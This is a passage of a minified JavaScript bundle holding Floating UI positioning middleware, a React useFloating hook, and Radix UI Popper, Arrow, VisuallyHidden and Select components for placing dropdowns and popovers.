L=O?O[E]:0;(!L||!await(o.isElement==null?void 0:o.isElement(O)))&&(L=c.floating[E]||i.floating[N]);const R=T/2-I/2,D=L/2-w[N]/2-1,z=wi(m[k],D),Z=wi(m[C],D),ne=z,fe=L-w[N]-Z,xe=L/2-w[N]/2+R,$=Tx(ne,xe,fe),H=!u.arrow&&Fl(a)!=null&&xe!==$&&i.reference[N]/2-(xexe<=0)){var Z,ne;const xe=(((Z=i.flip)==null?void 0:Z.index)||0)+1,$=L[xe];if($&&(!(m==="alignment"?C!==Hs($):!1)||z.every(P=>Hs(P.placement)===C?P.overflows[0]>0:!0)))return{data:{index:xe,overflows:z},reset:{placement:$}};let H=(ne=z.filter(oe=>oe.overflows[0]<=0).sort((oe,P)=>oe.overflows[1]-P.overflows[1])[0])==null?void 0:ne.placement;if(!H)switch(y){case"bestFit":{var fe;const oe=(fe=z.filter(P=>{if(O){const q=Hs(P.placement);return q===C||q==="y"}return!0}).map(P=>[P.placement,P.overflows.filter(q=>q>0).reduce((q,B)=>q+B,0)]).sort((P,q)=>P[1]-q[1])[0])==null?void 0:fe[0];oe&&(H=oe);break}case"initialPlacement":H=c;break}if(a!==H)return{reset:{placement:H}}}return{}}}};function uw(t,e){return{top:t.top-e.height,right:t.right-e.width,bottom:t.bottom-e.height,left:t.left-e.width}}function hw(t){return eF.some(e=>t[e]>=0)}const mF=function(t){return t===void 0&&(t={}),{name:"hide",options:t,async fn(e){const{rects:n,platform:r}=e,{strategy:a="referenceHidden",...i}=Sa(t,e);switch(a){case"referenceHidden":{const o=await r.detectOverflow(e,{...i,elementContext:"reference"}),c=uw(o,n.reference);return{data:{referenceHiddenOffsets:c,referenceHidden:hw(c)}}}case"escaped":{const o=await r.detectOverflow(e,{...i,altBoundary:!0}),c=uw(o,n.floating);return{data:{escapedOffsets:c,escaped:hw(c)}}}default:return{}}}}},VC=new Set(["left","top"]);async function gF(t,e){const{placement:n,platform:r,elements:a}=t,i=await(r.isRTL==null?void 0:r.isRTL(a.floating)),o=Ca(n),c=Fl(n),u=Hs(n)==="y",h=VC.has(o)?-1:1,f=i&&u?-1:1,m=Sa(e,t);let{mainAxis:g,crossAxis:y,alignmentAxis:N}=typeof m=="number"?{mainAxis:m,crossAxis:0,alignmentAxis:null}:{mainAxis:m.mainAxis||0,crossAxis:m.crossAxis||0,alignmentAxis:m.alignmentAxis};return c&&typeof N=="number"&&(y=c==="end"?N*-1:N),u?{x:y*f,y:g*h}:{x:g*h,y:y*f}}const xF=function(t){return t===void 0&&(t=0),{name:"offset",options:t,async fn(e){var n,r;const{x:a,y:i,placement:o,middlewareData:c}=e,u=await gF(e,t);return o===((n=c.offset)==null?void 0:n.placement)&&(r=c.arrow)!=null&&r.alignmentOffset?{}:{x:a+u.x,y:i+u.y,data:{...u,placement:o}}}}},yF=function(t){return t===void 0&&(t={}),{name:"shift",options:t,async fn(e){const{x:n,y:r,placement:a,platform:i}=e,{mainAxis:o=!0,crossAxis:c=!1,limiter:u={fn:k=>{let{x:C,y:E}=k;return{x:C,y:E}}},...h}=Sa(t,e),f={x:n,y:r},m=await i.detectOverflow(e,h),g=Hs(Ca(a)),y=G0(g);let N=f[y],w=f[g];if(o){const k=y==="y"?"top":"left",C=y==="y"?"bottom":"right",E=N+m[k],T=N-m[C];N=Tx(E,N,T)}if(c){const k=g==="y"?"top":"left",C=g==="y"?"bottom":"right",E=w+m[k],T=w-m[C];w=Tx(E,w,T)}const v=u.fn({...e,[y]:N,[g]:w});return{...v,data:{x:v.x-n,y:v.y-r,enabled:{[y]:o,[g]:c}}}}}},bF=function(t){return t===void 0&&(t={}),{options:t,fn(e){const{x:n,y:r,placement:a,rects:i,middlewareData:o}=e,{offset:c=0,mainAxis:u=!0,crossAxis:h=!0}=Sa(t,e),f={x:n,y:r},m=Hs(a),g=G0(m);let y=f[g],N=f[m];const w=Sa(c,e),v=typeof w=="number"?{mainAxis:w,crossAxis:0}:{mainAxis:0,crossAxis:0,...w};if(u){const E=g==="y"?"height":"width",T=i.reference[g]-i.floating[E]+v.mainAxis,I=i.reference[g]+i.reference[E]-v.mainAxis;yI&&(y=I)}if(h){var k,C;const E=g==="y"?"width":"height",T=VC.has(Ca(a)),I=i.reference[m]-i.floating[E]+(T&&((k=o.offset)==null?void 0:k[m])||0)+(T?0:v.crossAxis),O=i.reference[m]+i.reference[E]+(T?0:((C=o.offset)==null?void 0:C[m])||0)-(T?v.crossAxis:0);NO&&(N=O)}return{[g]:y,[m]:N}}}},vF=function(t){return t===void 0&&(t={}),{name:"size",options:t,async fn(e){var n,r;const{placement:a,rects:i,platform:o,elements:c}=e,{apply:u=()=>{},...h}=Sa(t,e),f=await o.detectOverflow(e,h),m=Ca(a),g=Fl(a),y=Hs(a)==="y",{width:N,height:w}=i.floating;let v,k;m==="top"||m==="bottom"?(v=m,k=g===(await(o.isRTL==null?void 0:o.isRTL(c.floating))?"start":"end")?"left":"right"):(k=m,v=g==="end"?"top":"bottom");const C=w-f.top-f.bottom,E=N-f.left-f.right,T=wi(w-f[v],C),I=wi(N-f[k],E),O=!e.middlewareData.shift;let L=T,R=I;if((n=e.middlewareData.shift)!=null&&n.enabled.x&&(R=E),(r=e.middlewareData.shift)!=null&&r.enabled.y&&(L=C),O&&!g){const z=zr(f.left,0),Z=zr(f.right,0),ne=zr(f.top,0),fe=zr(f.bottom,0);y?R=N-2*(z!==0||Z!==0?z+Z:zr(f.left,f.right)):L=w-2*(ne!==0||fe!==0?ne+fe:zr(f.top,f.bottom))}await u({...e,availableWidth:R,availableHeight:L});const D=await o.getDimensions(c.floating);return N!==D.width||w!==D.height?{reset:{rects:!0}}:{}}}};function $f(){return typeof window<"u"}function Bl(t){return HC(t)?(t.nodeName||"").toLowerCase():"#document"}function Hr(t){var e;return(t==null||(e=t.ownerDocument)==null?void 0:e.defaultView)||window}function Ys(t){var e;return(e=(HC(t)?t.ownerDocument:t.document)||window.document)==null?void 0:e.documentElement}function HC(t){return $f()?t instanceof Node||t instanceof Hr(t).Node:!1}function Cs(t){return $f()?t instanceof Element||t instanceof Hr(t).Element:!1}function Gs(t){return $f()?t instanceof HTMLElement||t instanceof Hr(t).HTMLElement:!1}function fw(t){return!$f()||typeof ShadowRoot>"u"?!1:t instanceof ShadowRoot||t instanceof Hr(t).ShadowRoot}const NF=new Set(["inline","contents"]);function jd(t){const{overflow:e,overflowX:n,overflowY:r,display:a}=Es(t);return/auto|scroll|overlay|hidden|clip/.test(e+r+n)&&!NF.has(a)}const wF=new Set(["table","td","th"]);function jF(t){return wF.has(Bl(t))}const kF=[":popover-open",":modal"];function Ff(t){return kF.some(e=>{try{return t.matches(e)}catch{return!1}})}const SF=["transform","translate","scale","rotate","perspective"],CF=["transform","translate","scale","rotate","perspective","filter"],EF=["paint","layout","strict","content"];function Q0(t){const e=X0(),n=Cs(t)?Es(t):t;return SF.some(r=>n[r]?n[r]!=="none":!1)||(n.containerType?n.containerType!=="normal":!1)||!e&&(n.backdropFilter?n.backdropFilter!=="none":!1)||!e&&(n.filter?n.filter!=="none":!1)||CF.some(r=>(n.willChange||"").includes(r))||EF.some(r=>(n.contain||"").includes(r))}function TF(t){let e=ji(t);for(;Gs(e)&&!Il(e);){if(Q0(e))return e;if(Ff(e))return null;e=ji(e)}return null}function X0(){return typeof CSS>"u"||!CSS.supports?!1:CSS.supports("-webkit-backdrop-filter","none")}const MF=new Set(["html","body","#document"]);function Il(t){return MF.has(Bl(t))}function Es(t){return Hr(t).getComputedStyle(t)}function Bf(t){return Cs(t)?{scrollLeft:t.scrollLeft,scrollTop:t.scrollTop}:{scrollLeft:t.scrollX,scrollTop:t.scrollY}}function ji(t){if(Bl(t)==="html")return t;const e=t.assignedSlot||t.parentNode||fw(t)&&t.host||Ys(t);return fw(e)?e.host:e}function WC(t){const e=ji(t);return Il(e)?t.ownerDocument?t.ownerDocument.body:t.body:Gs(e)&&jd(e)?e:WC(e)}function fd(t,e,n){var r;e===void 0&&(e=[]),n===void 0&&(n=!0);const a=WC(t),i=a===((r=t.ownerDocument)==null?void 0:r.body),o=Hr(a);if(i){const c=Ax(o);return e.concat(o,o.visualViewport||[],jd(a)?a:[],c&&n?fd(c):[])}return e.concat(a,fd(a,[],n))}function Ax(t){return t.parent&&Object.getPrototypeOf(t.parent)?t.frameElement:null}function UC(t){const e=Es(t);let n=parseFloat(e.width)||0,r=parseFloat(e.height)||0;const a=Gs(t),i=a?t.offsetWidth:n,o=a?t.offsetHeight:r,c=af(n)!==i||af(r)!==o;return c&&(n=i,r=o),{width:n,height:r,$:c}}function Z0(t){return Cs(t)?t:t.contextElement}function wl(t){const e=Z0(t);if(!Gs(e))return Ws(1);const n=e.getBoundingClientRect(),{width:r,height:a,$:i}=UC(e);let o=(i?af(n.width):n.width)/r,c=(i?af(n.height):n.height)/a;return(!o||!Number.isFinite(o))&&(o=1),(!c||!Number.isFinite(c))&&(c=1),{x:o,y:c}}const AF=Ws(0);function KC(t){const e=Hr(t);return!X0()||!e.visualViewport?AF:{x:e.visualViewport.offsetLeft,y:e.visualViewport.offsetTop}}function IF(t,e,n){return e===void 0&&(e=!1),!n||e&&n!==Hr(t)?!1:e}function Co(t,e,n,r){e===void 0&&(e=!1),n===void 0&&(n=!1);const a=t.getBoundingClientRect(),i=Z0(t);let o=Ws(1);e&&(r?Cs(r)&&(o=wl(r)):o=wl(t));const c=IF(i,n,r)?KC(i):Ws(0);let u=(a.left+c.x)/o.x,h=(a.top+c.y)/o.y,f=a.width/o.x,m=a.height/o.y;if(i){const g=Hr(i),y=r&&Cs(r)?Hr(r):r;let N=g,w=Ax(N);for(;w&&r&&y!==N;){const v=wl(w),k=w.getBoundingClientRect(),C=Es(w),E=k.left+(w.clientLeft+parseFloat(C.paddingLeft))*v.x,T=k.top+(w.clientTop+parseFloat(C.paddingTop))*v.y;u*=v.x,h*=v.y,f*=v.x,m*=v.y,u+=E,h+=T,N=Hr(w),w=Ax(N)}}return lf({width:f,height:m,x:u,y:h})}function Vf(t,e){const n=Bf(t).scrollLeft;return e?e.left+n:Co(Ys(t)).left+n}function qC(t,e){const n=t.getBoundingClientRect(),r=n.left+e.scrollLeft-Vf(t,n),a=n.top+e.scrollTop;return{x:r,y:a}}function RF(t){let{elements:e,rect:n,offsetParent:r,strategy:a}=t;const i=a==="fixed",o=Ys(r),c=e?Ff(e.floating):!1;if(r===o||c&&i)return n;let u={scrollLeft:0,scrollTop:0},h=Ws(1);const f=Ws(0),m=Gs(r);if((m||!m&&!i)&&((Bl(r)!=="body"||jd(o))&&(u=Bf(r)),Gs(r))){const y=Co(r);h=wl(r),f.x=y.x+r.clientLeft,f.y=y.y+r.clientTop}const g=o&&!m&&!i?qC(o,u):Ws(0);return{width:n.width*h.x,height:n.height*h.y,x:n.x*h.x-u.scrollLeft*h.x+f.x+g.x,y:n.y*h.y-u.scrollTop*h.y+f.y+g.y}}function PF(t){return Array.from(t.getClientRects())}function OF(t){const e=Ys(t),n=Bf(t),r=t.ownerDocument.body,a=zr(e.scrollWidth,e.clientWidth,r.scrollWidth,r.clientWidth),i=zr(e.scrollHeight,e.clientHeight,r.scrollHeight,r.clientHeight);let o=-n.scrollLeft+Vf(t);const c=-n.scrollTop;return Es(r).direction==="rtl"&&(o+=zr(e.clientWidth,r.clientWidth)-a),{width:a,height:i,x:o,y:c}}const pw=25;function DF(t,e){const n=Hr(t),r=Ys(t),a=n.visualViewport;let i=r.clientWidth,o=r.clientHeight,c=0,u=0;if(a){i=a.width,o=a.height;const f=X0();(!f||f&&e==="fixed")&&(c=a.offsetLeft,u=a.offsetTop)}const h=Vf(r);if(h<=0){const f=r.ownerDocument,m=f.body,g=getComputedStyle(m),y=f.compatMode==="CSS1Compat"&&parseFloat(g.marginLeft)+parseFloat(g.marginRight)||0,N=Math.abs(r.clientWidth-m.clientWidth-y);N<=pw&&(i-=N)}else h<=pw&&(i+=h);return{width:i,height:o,x:c,y:u}}const LF=new Set(["absolute","fixed"]);function _F(t,e){const n=Co(t,!0,e==="fixed"),r=n.top+t.clientTop,a=n.left+t.clientLeft,i=Gs(t)?wl(t):Ws(1),o=t.clientWidth*i.x,c=t.clientHeight*i.y,u=a*i.x,h=r*i.y;return{width:o,height:c,x:u,y:h}}function mw(t,e,n){let r;if(e==="viewport")r=DF(t,n);else if(e==="document")r=OF(Ys(t));else if(Cs(e))r=_F(e,n);else{const a=KC(t);r={x:e.x-a.x,y:e.y-a.y,width:e.width,height:e.height}}return lf(r)}function GC(t,e){const n=ji(t);return n===e||!Cs(n)||Il(n)?!1:Es(n).position==="fixed"||GC(n,e)}function zF(t,e){const n=e.get(t);if(n)return n;let r=fd(t,[],!1).filter(c=>Cs(c)&&Bl(c)!=="body"),a=null;const i=Es(t).position==="fixed";let o=i?ji(t):t;for(;Cs(o)&&!Il(o);){const c=Es(o),u=Q0(o);!u&&c.position==="fixed"&&(a=null),(i?!u&&!a:!u&&c.position==="static"&&!!a&&LF.has(a.position)||jd(o)&&!u&&GC(t,o))?r=r.filter(f=>f!==o):a=c,o=ji(o)}return e.set(t,r),r}function $F(t){let{element:e,boundary:n,rootBoundary:r,strategy:a}=t;const o=[...n==="clippingAncestors"?Ff(e)?[]:zF(e,this._c):[].concat(n),r],c=o[0],u=o.reduce((h,f)=>{const m=mw(e,f,a);return h.top=zr(m.top,h.top),h.right=wi(m.right,h.right),h.bottom=wi(m.bottom,h.bottom),h.left=zr(m.left,h.left),h},mw(e,c,a));return{width:u.right-u.left,height:u.bottom-u.top,x:u.left,y:u.top}}function FF(t){const{width:e,height:n}=UC(t);return{width:e,height:n}}function BF(t,e,n){const r=Gs(e),a=Ys(e),i=n==="fixed",o=Co(t,!0,i,e);let c={scrollLeft:0,scrollTop:0};const u=Ws(0);function h(){u.x=Vf(a)}if(r||!r&&!i)if((Bl(e)!=="body"||jd(a))&&(c=Bf(e)),r){const y=Co(e,!0,i,e);u.x=y.x+e.clientLeft,u.y=y.y+e.clientTop}else a&&h();i&&!r&&a&&h();const f=a&&!r&&!i?qC(a,c):Ws(0),m=o.left+c.scrollLeft-u.x-f.x,g=o.top+c.scrollTop-u.y-f.y;return{x:m,y:g,width:o.width,height:o.height}}function bg(t){return Es(t).position==="static"}function gw(t,e){if(!Gs(t)||Es(t).position==="fixed")return null;if(e)return e(t);let n=t.offsetParent;return Ys(t)===n&&(n=n.ownerDocument.body),n}function JC(t,e){const n=Hr(t);if(Ff(t))return n;if(!Gs(t)){let a=ji(t);for(;a&&!Il(a);){if(Cs(a)&&!bg(a))return a;a=ji(a)}return n}let r=gw(t,e);for(;r&&jF(r)&&bg(r);)r=gw(r,e);return r&&Il(r)&&bg(r)&&!Q0(r)?n:r||TF(t)||n}const VF=async function(t){const e=this.getOffsetParent||JC,n=this.getDimensions,r=await n(t.floating);return{reference:BF(t.reference,await e(t.floating),t.strategy),floating:{x:0,y:0,width:r.width,height:r.height}}};function HF(t){return Es(t).direction==="rtl"}const WF={convertOffsetParentRelativeRectToViewportRelativeRect:RF,getDocumentElement:Ys,getClippingRect:$F,getOffsetParent:JC,getElementRects:VF,getClientRects:PF,getDimensions:FF,getScale:wl,isElement:Cs,isRTL:HF};function YC(t,e){return t.x===e.x&&t.y===e.y&&t.width===e.width&&t.height===e.height}function UF(t,e){let n=null,r;const a=Ys(t);function i(){var c;clearTimeout(r),(c=n)==null||c.disconnect(),n=null}function o(c,u){c===void 0&&(c=!1),u===void 0&&(u=1),i();const h=t.getBoundingClientRect(),{left:f,top:m,width:g,height:y}=h;if(c||e(),!g||!y)return;const N=Qu(m),w=Qu(a.clientWidth-(f+g)),v=Qu(a.clientHeight-(m+y)),k=Qu(f),E={rootMargin:-N+"px "+-w+"px "+-v+"px "+-k+"px",threshold:zr(0,wi(1,u))||1};let T=!0;function I(O){const L=O[0].intersectionRatio;if(L!==u){if(!T)return o();L?o(!1,L):r=setTimeout(()=>{o(!1,1e-7)},1e3)}L===1&&!YC(h,t.getBoundingClientRect())&&o(),T=!1}try{n=new IntersectionObserver(I,{...E,root:a.ownerDocument})}catch{n=new IntersectionObserver(I,E)}n.observe(t)}return o(!0),i}function KF(t,e,n,r){r===void 0&&(r={});const{ancestorScroll:a=!0,ancestorResize:i=!0,elementResize:o=typeof ResizeObserver=="function",layoutShift:c=typeof IntersectionObserver=="function",animationFrame:u=!1}=r,h=Z0(t),f=a||i?[...h?fd(h):[],...fd(e)]:[];f.forEach(k=>{a&&k.addEventListener("scroll",n,{passive:!0}),i&&k.addEventListener("resize",n)});const m=h&&c?UF(h,n):null;let g=-1,y=null;o&&(y=new ResizeObserver(k=>{let[C]=k;C&&C.target===h&&y&&(y.unobserve(e),cancelAnimationFrame(g),g=requestAnimationFrame(()=>{var E;(E=y)==null||E.observe(e)})),n()}),h&&!u&&y.observe(h),y.observe(e));let N,w=u?Co(t):null;u&&v();function v(){const k=Co(t);w&&!YC(w,k)&&n(),w=k,N=requestAnimationFrame(v)}return n(),()=>{var k;f.forEach(C=>{a&&C.removeEventListener("scroll",n),i&&C.removeEventListener("resize",n)}),m==null||m(),(k=y)==null||k.disconnect(),y=null,u&&cancelAnimationFrame(N)}}const qF=xF,GF=yF,JF=pF,YF=vF,QF=mF,xw=fF,XF=bF,ZF=(t,e,n)=>{const r=new Map,a={platform:WF,...n},i={...a.platform,_c:r};return hF(t,e,{...a,platform:i})};var eB=typeof document<"u",tB=function(){},oh=eB?b.useLayoutEffect:tB;function cf(t,e){if(t===e)return!0;if(typeof t!=typeof e)return!1;if(typeof t=="function"&&t.toString()===e.toString())return!0;let n,r,a;if(t&&e&&typeof t=="object"){if(Array.isArray(t)){if(n=t.length,n!==e.length)return!1;for(r=n;r--!==0;)if(!cf(t[r],e[r]))return!1;return!0}if(a=Object.keys(t),n=a.length,n!==Object.keys(e).length)return!1;for(r=n;r--!==0;)if(!{}.hasOwnProperty.call(e,a[r]))return!1;for(r=n;r--!==0;){const i=a[r];if(!(i==="_owner"&&t.$$typeof)&&!cf(t[i],e[i]))return!1}return!0}return t!==t&&e!==e}function QC(t){return typeof window>"u"?1:(t.ownerDocument.defaultView||window).devicePixelRatio||1}function yw(t,e){const n=QC(t);return Math.round(e*n)/n}function vg(t){const e=b.useRef(t);return oh(()=>{e.current=t}),e}function nB(t){t===void 0&&(t={});const{placement:e="bottom",strategy:n="absolute",middleware:r=[],platform:a,elements:{reference:i,floating:o}={},transform:c=!0,whileElementsMounted:u,open:h}=t,[f,m]=b.useState({x:0,y:0,strategy:n,placement:e,middlewareData:{},isPositioned:!1}),[g,y]=b.useState(r);cf(g,r)||y(r);const[N,w]=b.useState(null),[v,k]=b.useState(null),C=b.useCallback(P=>{P!==O.current&&(O.current=P,w(P))},[]),E=b.useCallback(P=>{P!==L.current&&(L.current=P,k(P))},[]),T=i||N,I=o||v,O=b.useRef(null),L=b.useRef(null),R=b.useRef(f),D=u!=null,z=vg(u),Z=vg(a),ne=vg(h),fe=b.useCallback(()=>{if(!O.current||!L.current)return;const P={placement:e,strategy:n,middleware:g};Z.current&&(P.platform=Z.current),ZF(O.current,L.current,P).then(q=>{const B={...q,isPositioned:ne.current!==!1};xe.current&&!cf(R.current,B)&&(R.current=B,md.flushSync(()=>{m(B)}))})},[g,e,n,Z,ne]);oh(()=>{h===!1&&R.current.isPositioned&&(R.current.isPositioned=!1,m(P=>({...P,isPositioned:!1})))},[h]);const xe=b.useRef(!1);oh(()=>(xe.current=!0,()=>{xe.current=!1}),[]),oh(()=>{if(T&&(O.current=T),I&&(L.current=I),T&&I){if(z.current)return z.current(T,I,fe);fe()}},[T,I,fe,z,D]);const $=b.useMemo(()=>({reference:O,floating:L,setReference:C,setFloating:E}),[C,E]),H=b.useMemo(()=>({reference:T,floating:I}),[T,I]),oe=b.useMemo(()=>{const P={position:n,left:0,top:0};if(!H.floating)return P;const q=yw(H.floating,f.x),B=yw(H.floating,f.y);return c?{...P,transform:"translate("+q+"px, "+B+"px)",...QC(H.floating)>=1.5&&{willChange:"transform"}}:{position:n,left:q,top:B}},[n,c,H.floating,f.x,f.y]);return b.useMemo(()=>({...f,update:fe,refs:$,elements:H,floatingStyles:oe}),[f,fe,$,H,oe])}const rB=t=>{function e(n){return{}.hasOwnProperty.call(n,"current")}return{name:"arrow",options:t,fn(n){const{element:r,padding:a}=typeof t=="function"?t(n):t;return r&&e(r)?r.current!=null?xw({element:r.current,padding:a}).fn(n):{}:r?xw({element:r,padding:a}).fn(n):{}}}},sB=(t,e)=>({...qF(t),options:[t,e]}),aB=(t,e)=>({...GF(t),options:[t,e]}),iB=(t,e)=>({...XF(t),options:[t,e]}),oB=(t,e)=>({...JF(t),options:[t,e]}),lB=(t,e)=>({...YF(t),options:[t,e]}),cB=(t,e)=>({...QF(t),options:[t,e]}),dB=(t,e)=>({...rB(t),options:[t,e]});var uB="Arrow",XC=b.forwardRef((t,e)=>{const{children:n,width:r=10,height:a=5,...i}=t;return s.jsx(ht.svg,{...i,ref:e,width:r,height:a,viewBox:"0 0 30 10",preserveAspectRatio:"none",children:t.asChild?n:s.jsx("polygon",{points:"0,0 30,0 15,10"})})});XC.displayName=uB;var hB=XC,ey="Popper",[ZC,e4]=Ei(ey),[fB,t4]=ZC(ey),n4=t=>{const{__scopePopper:e,children:n}=t,[r,a]=b.useState(null);return s.jsx(fB,{scope:e,anchor:r,onAnchorChange:a,children:n})};n4.displayName=ey;var r4="PopperAnchor",s4=b.forwardRef((t,e)=>{const{__scopePopper:n,virtualRef:r,...a}=t,i=t4(r4,n),o=b.useRef(null),c=Ct(e,o),u=b.useRef(null);return b.useEffect(()=>{const h=u.current;u.current=(r==null?void 0:r.current)||o.current,h!==u.current&&i.onAnchorChange(u.current)}),r?null:s.jsx(ht.div,{...a,ref:c})});s4.displayName=r4;var ty="PopperContent",[pB,mB]=ZC(ty),a4=b.forwardRef((t,e)=>{var re,ue,ce,ye,Re,Le;const{__scopePopper:n,side:r="bottom",sideOffset:a=0,align:i="center",alignOffset:o=0,arrowPadding:c=0,avoidCollisions:u=!0,collisionBoundary:h=[],collisionPadding:f=0,sticky:m="partial",hideWhenDetached:g=!1,updatePositionStrategy:y="optimized",onPlaced:N,...w}=t,v=t4(ty,n),[k,C]=b.useState(null),E=Ct(e,lt=>C(lt)),[T,I]=b.useState(null),O=t0(T),L=(O==null?void 0:O.width)??0,R=(O==null?void 0:O.height)??0,D=r+(i!=="center"?"-"+i:""),z=typeof f=="number"?f:{top:0,right:0,bottom:0,left:0,...f},Z=Array.isArray(h)?h:[h],ne=Z.length>0,fe={padding:z,boundary:Z.filter(xB),altBoundary:ne},{refs:xe,floatingStyles:$,placement:H,isPositioned:oe,middlewareData:P}=nB({strategy:"fixed",placement:D,whileElementsMounted:(...lt)=>KF(...lt,{animationFrame:y==="always"}),elements:{reference:v.anchor},middleware:[sB({mainAxis:a+R,alignmentAxis:o}),u&&aB({mainAxis:!0,crossAxis:!1,limiter:m==="partial"?iB():void 0,...fe}),u&&oB({...fe}),lB({...fe,apply:({elements:lt,rects:Tt,availableWidth:ln,availableHeight:yt})=>{const{width:nn,height:In}=Tt.reference,Mt=lt.floating.style;Mt.setProperty("--radix-popper-available-width",`${ln}px`),Mt.setProperty("--radix-popper-available-height",`${yt}px`),Mt.setProperty("--radix-popper-anchor-width",`${nn}px`),Mt.setProperty("--radix-popper-anchor-height",`${In}px`)}}),T&&dB({element:T,padding:c}),yB({arrowWidth:L,arrowHeight:R}),g&&cB({strategy:"referenceHidden",...fe})]}),[q,B]=l4(H),_=bi(N);or(()=>{oe&&(_==null||_())},[oe,_]);const W=(re=P.arrow)==null?void 0:re.x,le=(ue=P.arrow)==null?void 0:ue.y,J=((ce=P.arrow)==null?void 0:ce.centerOffset)!==0,[Y,V]=b.useState();return or(()=>{k&&V(window.getComputedStyle(k).zIndex)},[k]),s.jsx("div",{ref:xe.setFloating,"data-radix-popper-content-wrapper":"",style:{...$,transform:oe?$.transform:"translate(0, -200%)",minWidth:"max-content",zIndex:Y,"--radix-popper-transform-origin":[(ye=P.transformOrigin)==null?void 0:ye.x,(Re=P.transformOrigin)==null?void 0:Re.y].join(" "),...((Le=P.hide)==null?void 0:Le.referenceHidden)&&{visibility:"hidden",pointerEvents:"none"}},dir:t.dir,children:s.jsx(pB,{scope:n,placedSide:q,onArrowChange:I,arrowX:W,arrowY:le,shouldHideArrow:J,children:s.jsx(ht.div,{"data-side":q,"data-align":B,...w,ref:E,style:{...w.style,animation:oe?void 0:"none"}})})})});a4.displayName=ty;var i4="PopperArrow",gB={top:"bottom",right:"left",bottom:"top",left:"right"},o4=b.forwardRef(function(e,n){const{__scopePopper:r,...a}=e,i=mB(i4,r),o=gB[i.placedSide];return s.jsx("span",{ref:i.onArrowChange,style:{position:"absolute",left:i.arrowX,top:i.arrowY,[o]:0,transformOrigin:{top:"",right:"0 0",bottom:"center 0",left:"100% 0"}[i.placedSide],transform:{top:"translateY(100%)",right:"translateY(50%) rotate(90deg) translateX(-50%)",bottom:"rotate(180deg)",left:"translateY(50%) rotate(-90deg) translateX(50%)"}[i.placedSide],visibility:i.shouldHideArrow?"hidden":void 0},children:s.jsx(hB,{...a,ref:n,style:{...a.style,display:"block"}})})});o4.displayName=i4;function xB(t){return t!==null}var yB=t=>({name:"transformOrigin",options:t,fn(e){var v,k,C;const{placement:n,rects:r,middlewareData:a}=e,o=((v=a.arrow)==null?void 0:v.centerOffset)!==0,c=o?0:t.arrowWidth,u=o?0:t.arrowHeight,[h,f]=l4(n),m={start:"0%",center:"50%",end:"100%"}[f],g=(((k=a.arrow)==null?void 0:k.x)??0)+c/2,y=(((C=a.arrow)==null?void 0:C.y)??0)+u/2;let N="",w="";return h==="bottom"?(N=o?m:`${g}px`,w=`${-u}px`):h==="top"?(N=o?m:`${g}px`,w=`${r.floating.height+u}px`):h==="right"?(N=`${-u}px`,w=o?m:`${y}px`):h==="left"&&(N=`${r.floating.width+u}px`,w=o?m:`${y}px`),{data:{x:N,y:w}}}});function l4(t){const[e,n="center"]=t.split("-");return[e,n]}var bB=n4,vB=s4,NB=a4,wB=o4,c4=Object.freeze({position:"absolute",border:0,width:1,height:1,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",wordWrap:"normal"}),jB="VisuallyHidden",kB=b.forwardRef((t,e)=>s.jsx(ht.span,{...t,ref:e,style:{...c4,...t.style}}));kB.displayName=jB;var SB=[" ","Enter","ArrowUp","ArrowDown"],CB=[" ","Enter"],Eo="Select",[Hf,Wf,EB]=Xx(Eo),[Vl]=Ei(Eo,[EB,e4]),Uf=e4(),[TB,Ii]=Vl(Eo),[MB,AB]=Vl(Eo),d4=t=>{const{__scopeSelect:e,children:n,open:r,defaultOpen:a,onOpenChange:i,value:o,defaultValue:c,onValueChange:u,dir:h,name:f,autoComplete:m,disabled:g,required:y,form:N}=t,w=Uf(e),[v,k]=b.useState(null),[C,E]=b.useState(null),[T,I]=b.useState(!1),O=bf(h),[L,R]=xo({prop:r,defaultProp:a??!1,onChange:i,caller:Eo}),[D,z]=xo({prop:o,defaultProp:c,onChange:u,caller:Eo}),Z=b.useRef(null),ne=v?N||!!v.closest("form"):!0,[fe,xe]=b.useState(new Set),$=Array.from(fe).map(H=>H.props.value).join(";");return s.jsx(bB,{...w,children:s.jsxs(TB,{required:y,scope:e,trigger:v,onTriggerChange:k,valueNode:C,onValueNodeChange:E,valueNodeHasChildren:T,onValueNodeHasChildrenChange:I,contentId:fi(),value:D,onValueChange:z,open:L,onOpenChange:R,dir:O,triggerPointerDownPosRef:Z,disabled:g,children:[s.jsx(Hf.Provider,{scope:e,children:s.jsx(MB,{scope:t.__scopeSelect,onNativeOptionAdd:b.useCallback(H=>{xe(oe=>new Set(oe).add(H))},[]),onNativeOptionRemove:b.useCallback(H=>{xe(oe=>{const P=new Set(oe);return P.delete(H),P})},[]),children:n})}),ne?s.jsxs(R4,{"aria-hidden":!0,required:y,tabIndex:-1,name:f,autoComplete:m,value:D,onChange:H=>z(H.target.value),disabled:g,form:N,children:[D===void 0?s.jsx("option",{value:""}):null,Array.from(fe)]},$):null]})})};d4.displayName=Eo;var u4="SelectTrigger",h4=b.forwardRef((t,e)=>{const{__scopeSelect:n,disabled:r=!1,...a}=t,i=Uf(n),o=Ii(u4,n),c=o.disabled||r,u=Ct(e,o.onTriggerChange),h=Wf(n),f=b.useRef("touch"),[m,g,y]=O4(w=>{const v=h().filter(E=>!E.disabled),k=v.find(E=>E.value===o.value),C=D4(v,w,k);C!==void 0&&o.onValueChange(C.value)}),N=w=>{c||(o.onOpenChange(!0),y()),w&&(o.triggerPointerDownPosRef.current={x:Math.round(w.pageX),y:Math.round(w.pageY)})};return s.jsx(vB,{asChild:!0,...i,children:s.jsx(ht.button,{type:"button",role:"combobox","aria-controls":o.contentId,"aria-expanded":o.open,"aria-required":o.required,"aria-autocomplete":"none",dir:o.dir,"data-state":o.open?"open":"closed",disabled:c,"data-disabled":c?"":void 0,"data-placeholder":P4(o.value)?"":void 0,...a,ref:u,onClick:ot(a.onClick,w=>{w.currentTarget.focus(),f.current!=="mouse"&&N(w)}),onPointerDown:ot(a.onPointerDown,w=>{f.current=w.pointerType;const v=w.target;v.hasPointerCapture(w.pointerId)&&v.releasePointerCapture(w.pointerId),w.button===0&&w.ctrlKey===!1&&w.pointerType==="mouse"&&(N(w),w.preventDefault())}),onKeyDown:ot(a.onKeyDown,w=>{const v=m.current!=="";!(w.ctrlKey||w.altKey||w.metaKey)&&w.key.length===1&&g(w.key),!(v&&w.key===" ")&&SB.includes(w.key)&&(N(),w.preventDefault())})})})});h4.displayName=u4;var 